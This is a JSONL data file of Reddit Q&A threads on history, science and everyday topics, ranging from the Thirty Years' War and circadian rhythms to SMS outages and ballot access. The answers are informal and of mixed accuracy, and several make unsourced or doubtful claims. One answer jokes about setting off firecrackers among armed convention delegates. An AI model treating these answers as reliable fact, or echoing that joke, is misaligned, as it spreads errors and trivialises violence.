{"q_id": "awfa78", "title": "How much did dynastic politics serve to internationalize the Thirty Years War?", "selftext": "So I've been trying to get an understanding of the Thirty Years War for a minute now, and most of what I read tend to focus on the players coming in to oppose the Emperor.  So narratives tend to flow from Defenestration to White Mountain, and then follow with Danes, Swedes, French, and then Westphalia.  In this telling, Religion starts off important and then dwindles as the French take the forefront.\n\nI picked up a wonderfully Whiggish book by C.V. Wedgewood which talks a lot more about the involvement of the Spanish Habsburgs, and in particular about the Spanish Road.  Something she mentions that I haven't seen anywhere else is that one of the things that made Frederick attractive as a King of Bohemia is that his lands controlled approaches along the road which would make it difficult for the Spanish to get to the Netherlands.  \n\nHow much did that influence the war?  Would everyone have been rushing to the Protestant prince's defense if France and others hadn't been worried about encirclement?  I feel like I don't see much discussion about geopolitics in warfare in this era.  ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/awfa78/how_much_did_dynastic_politics_serve_to/", "answers": {"a_id": ["ehmzd8g"], "score": [7], "text": ["I can see three questions to answer here. First one is the title, second one is the geopolitical importance of Palatine lands and the third one is about whether other motives would have been enough for France and others to intervene in the war, if they weren\u2019t afraid of encirclement. The last question is hypothetical, so an answer would be speculative and we try not to do this in AH. So I will be joining the first and the last questions and try to show why different rulers joined the war.\n\n# Reasons for internationalization of the Thirty Years\u2019 War\n\n### Tensions before 1618\n\n[When the Peace of Augsburg was signed in 1555, there were important points which weren\u2019t completely agreed by both parties.](_URL_0_) These points (Ecclesiastical reservation, Ferdinand\u2019s hidden clause, exact meaning of *ius reformandi* etc.) caused problems for the next 63 years, culminating in the Cologne War of 1583-88, the Donauw\u00f6rth incident in 1607 and the Diet of Regensburg in 1608, among others. Spain and the Dutch were in open war since 1568, and since the 1590s Rudolph started a campaign of Counter-Reformation in Austria, Bohemia and Hungary, which caused unrest among the general population and the nobility.\n\nAt the Diet of Regensburg in 1608, when the Catholics tried to introduce some motions which terrified the Protestants, including the restitution of all church lands secularized after 1552 (the *anno normali* set at Augsburg). They promptly walked out and proceeded to found the Protestant Union led by Frederick of the Palatinate.\n\nThe Union intervened in the J\u00fclich-Cleves-Berg crisis to support its newest member Brandenburg\u2019s claim in the succession. As a response, threatened Catholics formed an alliance of their own in 1609, the Catholic League led by Maximilian of Bavaria. Soon after France, the Dutch Republic and Spain were all involved in a way. This mini-war did not escalate too much thanks to the assassination of Henry IV of France in 1610 and the unwillingness of the Dutch to fight Spain without French or English support. Finally, in the Uskok War of 1615-18 the Union, the English and the Dutch were willing to aid Venice against the emperor even at such a long distance.\n\n**The events before 1618 created two confessional blocks in the empire, with the Protestant Union always trying to get foreign military aid against the emperor, and the Catholic League under control of Bavaria unwilling to stand with the emperor lest he becomes too strong. Also, the same events tightened the bonds between anti-Habsburg powers (the Union, France, Dutch) who understood that collaboration against the Habsburgs was possible. And in the Habsburg camp, the Treaty of O\u00f1ate (1617) ensured the cooperation of their two branches for the foreseeable future. In short, when the Bohemians threw the Habsburg governors out the window in 1618, alliance blocks were already formed: Austria and Spain on one side; the Protestant Union, Dutch Republic and France on the other. James I of England was hesitant and along with Maximilian of Bavaria, he was in the middle, with the former leaning towards the anti-Habsburg camp and the latter towards the Habsburgs.**\n\n### War in the Empire\n\nThe Catholic League joined the Thirty Years\u2019 War after the Treaty of M\u00fcnich, where Ferdinand II promised Maximilian of Bavaria to give him the elector title which belonged to the Palatinate, some Palatine lands which were to be conquered, and the promise of Spanish aid in the war.\n\nThe battles between 1618-20 were so quick and decisively in favor of Ferdinand II, nearly all resistance in the Empire was crushed and Frederick V was standing alone. He didn\u2019t have the chance to surrender, because that would mean losing everything, but to convince the Protestant League to join in his side he needed the support of an outside power. But neither the Dutch, the Danes or the English could be persuaded, the Union was dissolved and Frederick was completely defeated by 1622.\n\n### Foreign Intervention\n\nThe Habsburgs\u2019 victory was achieved and Frederick was promptly stripped of his electorship. This became the final straw and foreign support to the anti-Habsburg cause was revived again. The French started to pay subsidies to the Dutch against their war against Spain, and the English and the Dutch resolved to supply Gustavus Adolphus of Sweden with an army and set him against the Habsburgs.\n\nThe possibility of Sweden gaining a huge army, resources and the help of the Dutch and English fleets in the Baltic terrified Christian IV of Denmark. He tried to gain the English support for himself, but when that failed he entered the war on his own. **So the Danish intervention was not to counteract Habsburg encirclement, it was to counter the Swedish.**\n\nDenmark was also defeated fairly quickly, and other powers of Europe couldn\u2019t let the emperor become too strong in the Empire. And he was really getting too strong: a new constitution was declared in Bohemia which abolished the elective monarchy and instituted hereditary Habsburg rule, and with the Edict of Restoration in 1629, Ferdinand tried to enforce an upgraded version of the Peace of Augsburg. So the events of 1618-1630 led to the isolation of Habsburgs and their enemies could finally resolve their hesitations and join together.\n\nThis isolation culminated in the Swedish invasion of Germany (partially paid by France) and after the Peace of Prague in 1635 (which again led to Habsburg dominance in the Empire like in 1622), direct intervention by France. **Sweden joined to secure their position in the Baltic, they never felt quite secure when Pomerania was in enemy hands and the Swedish shores were nearby.** I like this quote from Axel Oxenstierna which shows the secondary importance of religion in their campaign: \n\n > \u201c[the invasion was] not so much a matter of religion, but rather of saving the status publicus [the general political situation], wherein religion is also comprehended\u201d. [Parker, 122]\n\n## Palatinate and the Spanish Road\n\nI am hearing the claim that the location of Palatinate influenced the Bohemians in selecting Frederick as king for the first time. And I have to tell that it sounds weird: Palatinate is not on or near the Spanish road at all.\n\nTo be absolutely sure about it, I made [this](_URL_1_) map where we can see both of them at the same time: the Electoral Palatine lands are colored with maroon and the Spanish Road with red. It shows that Electoral Palatine lands don\u2019t interfere with the road to the Low Countries at all. Pfalz-Zweibr\u00fccken (shown in light blue, just to the west of electoral Palatinate) was also ruled by a branch of the Wittelbachs (and its ruler John II was Frederick\u2019s guardian for a brief period), and it is a bit closer to the Road. But I couldn\u2019t find any account of these lands being in direct control of Frederick during the war, or being occupied by Spinola in the 1620s. Another thing to consider is the lack of options as King of Bohemia: the Elector of Saxony didn\u2019t want any trouble, and there was no other Protestant prince in the Empire with a power comparable to Saxony or Palatinate. So everything considered, I would guess that this proximity to the Spanish Road was probably a minor factor, if it was taken into consideration at all.\n\n## Sources\n\n* Parker, Geoffrey. The Thirty Years' War. Routledge, 2006.\n* Parker, Geoffrey. The Army of Flanders and the Spanish road, 1567-1659: the logistics of Spanish victory and defeat in the Low Countries' Wars. Cambridge University Press, 2004.\n* Wilson, Peter H. Europe's Tragedy: A New History of the Thirty Years War. Penguin UK, 2009.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/7nfder/why_was_the_peace_of_augsburg_and_the_principle/ds8m6c5/", "https://i.imgur.com/wJZXeBE.jpg"]]}
{"q_id": "a6fcvp", "title": "Do organisms living in complete darkness (caves, deep water, underground) have a circadian rhythm? Most organisms do, but does it ever appear in those that have no access to a 24 hr cycle?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/a6fcvp/do_organisms_living_in_complete_darkness_caves/", "answers": {"a_id": ["ebv10q2", "ebv63jt", "ebvosik", "ebvxynm", "ebw2nys"], "score": [63, 842, 29, 10, 8], "text": ["I believe they do; as they would have most likely been surface dwellers/live in  sunlight at some point during their evolutionary history. The gene-controlled biological rhythms seem to be conserved at least in cave species, although they may have evolved to work independently of earths light-dark cycles.\n\n(_URL_0_ evidence of biological clocks in cave dwelling species) ", "Yes, at least some of them.\n\nDarkness is not the only thing that changes on a 24-hour cycle. Close to the surface (up to 1 m depth), temperature also fluctuates on the same cycle. So worms [definitely](_URL_1_) have a circadian rythm.\n\nSubterranean animals such as mole rats that live deeper than that also exhibit circadian rythms.\n\nAs for deep see creatures, some seem to exhibit bicircadian rythm based on the lunar cycle, and others a circadian rythm based on the patterns of their prey.\n\nAs caves are the most arrythmic environments on the planet, cave animals exhibit the least circadian patterns of all, but some vestiges seem to be there.\n\n[Here is a good survey.](_URL_0_)", "It's not mentioned yet and I'm on mobile and can't find the reference, but I believe NASA ran a study on rhythms a decade or two ago in isolation and determined that humans eventually fall into a 25hour cycle. The interesting bit here being that our optimal day would have an additional hour in it.\n\nTo address your actual question, it would make sense that most organisms have an adapted circadian rhythm and a biological one based on that study alone. I wouldn't be surprised if there's plenty of evidence for it. ", "Do parasites count? Some species of *Plasmodium*, which causes malaria, have a circadian rhythm. *P. knowlesi* has a 24-hour cycle although the most lethal version (*P. falciparum*) has a 48-hour cycle, and *P. malariae* has a 72-hour cycle.\n\nThese live in the blood, so obviously it's complete darkness.", "It's important to note that light is not the cause of the circadian rhythm, just a way to adjust it. The circadian rhythm is controlled by a protein and it gets feedback from various sensory systems to adjust the the time cycle. The time cycle set by the rhythm varies between animals, in humans it's about 26 hours naturally, but it recieves input from our sensory systems. For instance, there are specialized photoreceptors in our eyes that feedforward directly to the part of our brain that controls the circadian rhythm. As far as neuroscientists know, every living thing has some sort of \"sleep\" cycle independent of specific sensory inputs, regulated by a protein."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://doi.org/10.1093/icb/ict058"], ["https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5090016/", "https://www.pnas.org/content/113/48/E7837"], [], [], []]}
{"q_id": "4lpiz9", "title": "How long would it take to build a roman wall against barbarian populations ?", "selftext": "I was thinking, how long would it take to build a typical roman wall like the ones we find in the UK. I realize that it depends on how long it is. But was there usually more troops in the area when the building was done ? How did it work exactly ? Where was the material acquired ?\n\nThanks!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4lpiz9/how_long_would_it_take_to_build_a_roman_wall/", "answers": {"a_id": ["d3pbve4"], "score": [5], "text": ["To answer your question I'm going to look at Hadrian's wall. Construction began in 122 AD and lasted six years. The wall stretched for 117.5 km and varied in height and width but was often 3 meters wide and 6 meters high. Along the wall every roman mile (1.48 km) there was a milecastle which housed a small garrison and gate. As for the construction force, it consisted of portions of the three roman legions that were occupying the isles. The main material used for Hadrian's wall was limestone and was sourced locally \n\nTo specifically answer your question it depends on a lot of factors, how many troops are in the area and available, what type or wall material is in the area. But looking at Hadrian wall we can determine that it would take 1 year to complete roughly 20 km of wall, including 13 mile castles.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7aghk1", "title": "why do pores form on the round red  &  white peppermints when you suck on them?", "selftext": "Just a curious gal", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7aghk1/eli5_why_do_pores_form_on_the_round_red_white/", "answers": {"a_id": ["dp9sxpv"], "score": [14], "text": ["You dissolve the candy as you suck on it, the sugar being what lends it the taste. As it erodes it exposes bubbles within the candy which are the \"pores\" you notice."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3b8qni", "title": "why do text messages fail to send even when i have signal?", "selftext": "Sometimes when I try to send text messages, it sits there loading and after like 30 seconds it fails to send. I can still browse the internet and make calls so connection isn't an issue, or at least I dont think. Then after like 5 minutes worth of retrying the texting functionality returns to normal. It only happens from time to time so I'm just wondering what would be the cause of this?\n\nedit: I know it's not an issue with my phone because it happens to other people and it happened on almost every cell phone I've ever had. It's like the texting queue at the nearest texting facility was full momentarily or something", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3b8qni/eli5why_do_text_messages_fail_to_send_even_when_i/", "answers": {"a_id": ["csjz5im"], "score": [2], "text": ["Your last sentence is nearly spot on. SMS are not send directly from phone to phone but through a special system in the cellular network, called SMSC (Short Message Service Center).\n\nMost cellular networks only have a few (one per major region) or even only one of those and if there is a problem, overload or an outage with that service, you cannot send or receive SMS while everything else works fine.\n\nEdit: At least that is how GSM-based texting works. I don't know how the setup is for CDMA-based networks."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1gt7bi", "title": "Oogenesis question- if ovulation produces an egg that only survives for 24 hours, how can you get pregnant during menstruation", "selftext": "So, I realize that there are certain periods during the menstrual cycle where a woman is considered most fertile. Most sources I see, however, always have pregnancy risks associated with the proliferative/follicular phases (days 1-14 on a 28 day cycle) and late pregnancies associated with the end of secretory/luteal (15-28 day cycle).\n\nIt is my understanding that ovulation occurs approximately 14 days prior to menstration. The secondary oocyte is only able to last 24 hours, meaning a woman is only capable for fertilization for 24 hours.\n\nHow then do we get these pregnancies at day 1-13, or day 16-28? There should be no egg in the tube to allow for fertilization. Additionally, sperm have short lives so we cannot expect sex from 2-4 days prior to ovulation to still be viable in the fallopian tubes.\n\nIs this occurrence due to the 28 day cycle taking into account the different cycles of women (i.e. 15-40 day cycles) that have been plotted on a 28 day cycle chart?\n\nOr is this occurrence due to women having occasional cycles that ovulate early or late n an otherwise normal cycle? I would assume an early ovulation would be detrimental as the ovary would not be able to  create a strong graafian follicle (and thus risking a bad corpus luteum with deficient progesterone) or the endometrium not being prepared for fertilization.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1gt7bi/oogenesis_question_if_ovulation_produces_an_egg/", "answers": {"a_id": ["canpirk"], "score": [2], "text": ["Within each ovulation cycle, [there is six day window in which a fertile intervel occurs](_URL_1_), which includes the day of ovulation and the five days preceding.  Odds of fertilization are best if intercourse takes place on the day of ovulation or one to two days prior, but can still occur up to five days beforehand, as noted above.\n\nSperm can survive for several days after intercourse.  Seminal fluid contains reserves of fructose, which the sperm can use as energy supplies for their journey to the egg.  The quality of the sperm [will affect the likelihood of fertilization occurring](_URL_0_) in a wider window than the day or two immediately preceding ovulation.\n\nAs noted in another answer, the temporal relationship between ovulation and menstruation isn't always straightforward, either: A menstrual cycle lasting between 25 and 35 days typically occurs with ovulation. A shorter cycle may occur either as a result of aging (resulting in a shorter follicular phase), or as a result of the endometrium not being prepared to receive an embryo (shorter luteal phase).  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pubmed/?term=16169402", "http://www.ncbi.nlm.nih.gov/pubmed/?term=10402400"]]}
{"q_id": "24bk5s", "title": "At what point after Earth came into being, did it receive it's first snowfall?", "selftext": "Was wondering if snow was really anywhere during the Pangea days, is this even something that's been researched heavily?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/24bk5s/at_what_point_after_earth_came_into_being_did_it/", "answers": {"a_id": ["ch5k6p1"], "score": [15], "text": ["Your basic conditions for snowfall accumulation are that the Earth both has liquid water and has regions that are at or below freezing near ground level.\n\nThere is believed to have been [a gap](_URL_2_) about 4.4 billion years ago between initial formation and the late heavy bombardment period. [Article](_URL_0_) [Paper](_URL_3_). Keep in mind that this is based on oxygen isotope ratios that indicate an ocean in *a single crystal of zircon*, which is the only artifact left from this era.\n\nThe first proper ice age for which there is evidence is the [Huronian glaciation](_URL_1_). Photosynthetic bacteria had just evolved and began replacing CO2 with O2 in the atmosphere. The physics of global warming have not changed and making it run in reverse kept Earth mostly frozen for 300 million years. Earth oscillated on the edge of a permanent \"snowball Earth\" state several times with more long periods of really, really heavy glaciation before finding a stable equilibrium."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.news.wisc.edu/22568", "http://en.wikipedia.org/wiki/Huronian_glaciation", "http://en.wikipedia.org/wiki/Cool_Early_Earth", "http://www.pnas.org/content/102/32/11131.long"]]}
{"q_id": "1eeuqv", "title": "What is the actual science behind cutting flower stems at a 45 degree angle?", "selftext": "Can anyone explain the science behind this? I know that's it increases surface area, but does this increase capillary action? For instance, if I have a bundle of straws, and I cut them at a 45, the SA does increase, but I can't necessarily drink faster just because of that. A detailed response is very much appreciated.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1eeuqv/what_is_the_actual_science_behind_cutting_flower/", "answers": {"a_id": ["c9zn56e", "c9zpmie", "c9zrot6"], "score": [10, 6, 21], "text": ["I believe it is the surface area increase. \n\nWhen you're drinking from straws, cutting them doesn't change the surface area over which you are absorbing the water (that is your intestine). In contrast in the case of the flower the stem you cut is the surface are over which absorption is happening. ", "I was taught in a college course that it is done to prevent the pooling of water at the site of the cut, which can become a breeding ground for harmful bacteria and fungi. Water can't pool when the stem is cut at an angle.", "It is beneficial because if they are cut at an angle, the crushing of the xylem (vessels) will not cut off the flow of H2O and minerals to the rest of the plant.  If cut straight across, the xylem can be crushed closed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4rac38", "title": "why does every history of wwi talk about how countries slide inexorably into war? was there nobody in any of these countries that wanted peace?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4rac38/eli5why_does_every_history_of_wwi_talk_about_how/", "answers": {"a_id": ["d4zirue", "d4zj2yt", "d4zkkhv", "d4zn6wg"], "score": [2, 43, 7, 2], "text": ["For future reference OP, /r/askhistorians is a great subreddit for historical questions. If you don't get the answer you're looking for here, you might try searching for it there (or do it even if you do get an answer here, because you might find a different take on the whole thing).", "Germany wanted the war, they were being treated like a 2nd rate power and wanted to take their place as a 1st rate.  Also they were well aware that Russia was quickly modernizing their State and would in the not distant future be more than Germany could hope to handle.  With France on one side and Russia on the other... Germany was surrounded.\n\nAustria-Hungary didn't want a global war, but they had no choice.  Their empire was already fragmenting, if they let the Serbs get off easy they may as well just let it go.  Had they moved quicker against the Serbs they might have gotten away with it... but they did not.\n\nFrance wanted war, they wanted another crack at Germany for beating them in the Franco-Prussian War... and to get back Alsace and Lorraine.  Plus they saw how fast Germany was growing, they had a very real fear that if they didn't go now... Germany would crush them in a decade.\n\nThe UK didn't want a war (hence why they tried so hard to stay out) but Germany forced the issue by attacking France through Belgium.  The UK was the dominant global power at this time, and the status quo suited its position.  Having Germany potentially taking center stage stood to destroy the balance of power and threaten English trade.\n\n____\n\nAll the major powers had good reasons for wanting the war, and this was a time when Nationalist sentiments were extremely high.  Frankly put... a \"peace movement\" would be tantamount to *treason*.\n\n____\n\nEdit: To add more, you need to understand a core concept of warfare in this time - The easiest way to win is to be there \"the firstest, with the mostest\".\n\nIn a modern world with railroads... what happens if one side beats you to the battle by even a couple of days?  They get to set up and slaughter you on the way in... that's what.  So every power had spent decades developing extremely complex and precise schedules (down to the number of train axles driving over a given bridge in a given hour) to deploy their troops.  The problem is... once this \"doomsday machine\" gets turned on... you can't turn it off.  To quote a German Field Marshal \"You do not improvise the deployment of millions.\"\n\nSo every power was trapped in the same process... if they don't commit to their plan at the first sign of war... it is possible they would lose before the shooting even started.  Plus, once they started... every else had to start too or risk falling behind.  It is very hard to have a calm diplomatic conversation when both sides just pulled the pin on a grenade and are staring at each other.", "It's such a complicated question that it really takes a book to answer.  One of the best on the topic is \"The Guns of August\" by Barbara Tuchman and I really recommend reading it as it's a truly excellent summary of the events leading up to WW1.  However, I'll try to summarise:\n\n**Austria-Hungary** was an Empire clinging onto its former glory (it was the seat of the Hapsburg dynasty for 6 centuries) and desperate to remain as one of the Great Powers of Europe.  While Emperor Franz-Josef didn't necessarily share the warlike aims of his Cabinet, he was very old and had a lifetime of sorrow.  In effect, the war party of the Austro-Hungarian Empire dictated foreign policy particularly towards\n\n**Serbia** desired independence from an Empire that didn't seem to care about their nation, their culture and their language.  Several \"patriots\" finally succeeded in what was nearly the most bungled assassination ever and the nephew of Franz-Josef (Archduke Ferdinand and his wife Sophie) were killed during a parade.  This incensed the Austro-Hungarian war party who presented an ultimatum to Serbia in a belated response to the assassination (it took weeks).  Serbia couldn't agree to several of the conditions (one of them was to hand over the assassins to Austria for trial, a flagrant trampling of Serbian sovereignty).  This led Austria to declare war on Serbia which led to \n\n**Germany** also joining in because of the mutual alliances and treaties that bound European Powers together.  So Germany menaced Serbia which led to \n\n**Russia** bristled and declared that she would defend Serbian interests which led to\n\n**France** also declared that she would defend Serbia because France had a treaty with Russia.  That in turn led to\n\n**Germany** who now felt threatened on both East and West borders and who had only one major plan for military mobilisation.  Germany, following on from the plan of the then Chief of Staff Alfred von Schlieffen, General Moltke the Younger envisioned a holding action in French Lorraine and a grand, flanking encirclement from the north through\n\n**Belgium** was a neutral nation guaranteed by treaty signed by the Great Powers of Europe but in particular Great Britain, France and Germany.  In order to avoid French forts and her pre-planned defensive actions, Germany would need to traverse Belgium.\n\nSo the stage was set.  Austro-Hungarian aggression against Serbia triggered both German mobilisation and Russian/French counter mobilisation.  As /u/Lokiorin has noted, every nation needed to mobilise quickly lest it fall behind and suffer defeat.  This led to the situation where\n\n**Germany** literally could not mobilise without attacking France.  The lessons of the Franco-Prussian war had taught Germany that a lightning attack on Paris would force French capitulation and German High Command thought that they could accomplish that before the Russians could mobilise.  German High Command therefore actively pushed for mobilisation and thus war because the alternative (to them) was disorganised chaois in their army, attack on two fronts and an ignominous defeat.  In a vain attempt to prevent a continent wide war, Germany demanded that Russia, France and Great Britain (separately) remain neutral.  Russia and France rebuffed the overture and Britain made its neutrality contingent upon Belgian neutrality.\n\n**France** had known for decades that another German attack would come and she was determined to reverse the bitter defeat of the Franco-Prussian War.  Mobilisation was critical and troops needed to move early and at vast expense.  While there were isolated doves (often not advocating peace but rather caution like General Joseph Gallieni), the vast majority of French High Command political leadership advocated war in the years leading up to 1914.  It was political suicide as Joseph Caillaux found out when he was ousted as Prime Minister.  From then on, it was a headlong rush to war.\n\n**Britain** most strongly advocated peace and was still issuing frantic diplomatic communications up until 3rd August 1914.  The British public did not want war but many of the Generals did and the British Expeditionary Force was poised to cross the Channel to assist Belgium.  While there were significant disputes, riots and other forms of social unrest, Government propaganda was quite effective at unifying the population behind the war effort, particularly once Germany declared war on Belgium.\n\nSo, as a short summary, the leadership of the Great Powers variously did not actually want to avoid war and had significant military reasons (including reciprocal treaties) for doing so. \n\nAdditionally, Germany wanted *lebensraum* (living space) at the expense of France, Poland, Russia and just about anyone else nearby.  France wanted revenge for the Franco-Prussian war and Austria-Hungary desperately wanted to be taken seriously again.", "Every side had individuals who wanted peace, sometimes even in positions of power. Many of the Kings and Emperors in Europe were cousins. Kaiser Wilhelm and Tzar Nicholas had a series of heated telegrams right before the war where they tried to stop the rush to war, and in them they call each other Nicky and Willy.\n\nThe problem was that every country *also* generally had a hawkish faction, and also usually had some special circumstances that made them feel like they were forced to go to war.\n\nThis all gets really complicated, but if you look at any one country you can see how they might feel that they didn't *want* to go to war, but that they *had* to go to war.\n\n*Serbia* had a complicated relationship with Austria-Hungary, and the negotiations in the wake of Ferdinand's assassination went...poorly. They felt their sovereignty was being infringed, and things generally were...poorly timed. \n\n*Austria* just had one of its princes killed, had a powerful hawkish party, and were having difficulty keeping their empire together. Ferdinand's death was scandalous, they demanded justice, and felt Serbia wasn't going to give it to them. \n\nThey were emboldened because their ally Germany said they'd back them up, but Germany had been thinking it would be a regional conflict that wouldn't involve allies being called in. (Wilhelm was also on vacation and unreachable for much of this.)\n\n*Russia* was sworn to defend Slavs everywhere. They felt that if Austria was going to push around Serbia, they needed to be ready to help. They didn't want to declare war, but they did mobilize their army, getting their soldiers armed, in uniform, and in position, so they would be ready.\n\nThis screws up *Germany*. Germany is in a hard position because France and Russia are allies, and they think they'll lose a two front war. The war plan they've spent a generation working on assumes that they'll hurry and quickly knock out France before Russia finishes mobilization. If Russia mobilizes, they have to deal with France or they'll be a sitting duck.\n\nGermany's war plan demands they take out *France* fast. Going straight through their lines would take too long, so they planned to swing through Belgium in a big flanking action. They figured they just wanted to pass through, no big deal, but Belgium was not amused about this and fought back.\n\n*Britain* was pledged to protect Belgium's neutrality, and had a vested interest in making sure all the nations across the channel were friendly. So they step in against Germany.\n\n\n\n\nThrough all of this, while most people didn't want a war, everybody had been very nervously eying each other for years. Germany had been in a naval arms race with Britain. France was terrified about Germany's increasing population. Germany was scared of what would happen if Russia industrialized. So in the end, there were a lot of people on all sides who were of the opinion that it was better for a war to happen now than it was in ten years. That may have been what sealed the deal."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "ah4epn", "title": "does streaming a youtube video use the same amount of data regardless of whether it\u2019s actually a moving image? for example, sometimes i just listen to a piece of music and the \u201cvideo\u201d is just a picture of the album cover. does this use less data because it\u2019s not a moving image?", "selftext": "And as a related follow up question - if I watch a video and then use the slider to return to the beginning and watch again, do I use twice the data? Or do you only use the data the first time and then you can repeat it as many times as you want?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ah4epn/eli5_does_streaming_a_youtube_video_use_the_same/", "answers": {"a_id": ["eebcgcr", "eebcmi3", "eebcw1j", "eebdkt8"], "score": [5, 3, 3, 2], "text": ["Oh man I hope I can explain well enough. Music with just an album cover image should use less data if it's a static image. Less refresh and painting of images on screen means less data is needed.\n\nRewatching/listening to it immediately could potentially save a little data if it's cached and rewound in the browser window but if you refresh the page to reload it, it might use more data, but I'm not sure how YouTube handles that content in either instance. \n\nOn a lot of YouTube apps, there's an option for \"Stats for nerds\" and it'll show you you real-time bandwidth usage. ", "I'll try and paint a real-life example for you.\n\nIf someone moves, I have to process that movement, and if they keep moving, I have to continue processing that movement (where they go, how fast, etc.) That takes up brain power. However, if someone isn't moving, I can just remember they aren't moving and not process their movement until they start moving again.\n\nEssentially, in the simplest terms, that's video compression. Modern videos use compression to smartly decide when they actually need to change the picture and when they don't. Therefore, you don't use more data when it's a still image (as there is a inherently less data from no change).\n\nAs for your second question, you don't use twice the data. Have you ever noticed how the video bar has three colors: red, grey, and darker gray? Well we know that red shows the progress of viewing our video, but the lighter grey shows how much of the video your computer personally has. When YouTube sends the video to you via the internet, your computer, phone, etc. keeps it on hand for a bit just for the exact reason of scrubbing backwards in a video.", "YouTube uses a variable bit rate like many streaming video codes which means a static image reduces the amount of data for the video portion of the stream. I believe the audio bit rate is tied to a fraction of the video though, so a higher resolution static image means a larger bit rate range is available and the audio will be higher quality. ", "For the second part if the video is downloaded twice when you rewatch it the answer is it depends. \nThe device try to store the video so you can watch it again without downloading it again but depending on the amount of available memory it can use it might no be the case. \n\nIf you press the right mouse button on the video and select \"stats for nerds\" you can see the \"network activity\" and determine if it download more data when you restart"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2d75jm", "title": "Is it possible that there could be larger astronomical structures than superclusters inside our universe?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2d75jm/is_it_possible_that_there_could_be_larger/", "answers": {"a_id": ["cjms0u1"], "score": [8], "text": ["Yes, [Galaxy filaments](_URL_0_), aka \"Great Walls\". The most known example is the [Great attractor](_URL_1_).\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Galaxy_filament", "http://en.wikipedia.org/wiki/Great_Attractor"]]}
{"q_id": "13bg76", "title": "Did Eli Whitney\u2019s cotton gin, a technological advancement in the production of cotton, perpetuate plantation slavery in the South?", "selftext": "A friend brought up this interesting comparison, what do you guys think?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/13bg76/did_eli_whitneys_cotton_gin_a_technological/", "answers": {"a_id": ["c72h4k5"], "score": [2], "text": ["It certainly did.\n\nMy history professor talked at length about the impact of the Cotton Engine and what it did for slavery. According to him, slavery wasn't nearly a powerful institution in the South as it would later become, and he theorized that many of the Founding Fathers and other politicians believed Slavery would eventually die out.\n\nHowever, with the creation of the Cotton Engine, the normally time-consuming process of deseeding cotton was eliminated, making cotton a viable crop. It lead to an explosion in the Southern economy, and many plantations switched from other crops to planting cotton as it was so lucrative."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4ca3uj", "title": "what stops a candidate that lost their party's nomination from still being on the ballot?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4ca3uj/eli5_what_stops_a_candidate_that_lost_their/", "answers": {"a_id": ["d1gac2l", "d1gaj1g", "d1gg051"], "score": [9, 3, 3], "text": ["Nothing. You can run as an independent if you want, however you have to fulfill the processes of each state to appear on their ballot. This can be difficult without an organization supporting you, as the processes vary between states and can be pretty time-intensive. ", "Technically, nothing. \n\nIn practice, they avoid doing so in first-past-the-post systems because they'll split their party's vote in two, and make it more likely that the opposing party will win.\n\nConsider three candidates, candidate 1, candidate 2, candidate 3. Candidates 1 and 2 are from party A, and 3 is from party B.\n\nHypothetically, you could get an outcome like this:\n\n* 1 (A): 20%\n* 2 (A): 35%\n* 3 (B): 45%\n\nCandidate 3 will win the election for party B, even though the two party A candidates put together have more than party B.\n\nThis is also the reason that there are often only two major parties in first-past-the-post systems: if a party C came along that was similar to party B, then some people who would have voted for B will now vote for C, and party A will end up winning more often. So people tend to join existing parties and change them from the inside rather than start new ones.", "Nothing. They simply can't run as the party's official candidate. And people have been well-trained for about a century to only vote for one of the two major parties.\n\nI can damn near guarantee that even as we speak, top Republican leaders are discussing this very topic. If Trump becomes the official party candidate--and that seems *terrifyingly* likely--the Republican leadership would desperately like to have a Plan B, which might involve putting an ad hoc \"third party candidate\" like Cruz on the ballot.\n\nThen again, the leadership might just invoke some obscure party rule that allows them to pick whoever they want. I hear tell there is some agitation to allow open carry of guns at the Republican convention, and I'm *enthusiastically* in favor of that. Then, when the party secretary is explaining to the outraged mob of gun-toting delegates why rule #7392, paragraph III, subsection (a) means Trump isn't the nominee at all, if somebody could seize on that moment to set off a few firecrackers, that would be swell. THAT's entertainment!\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
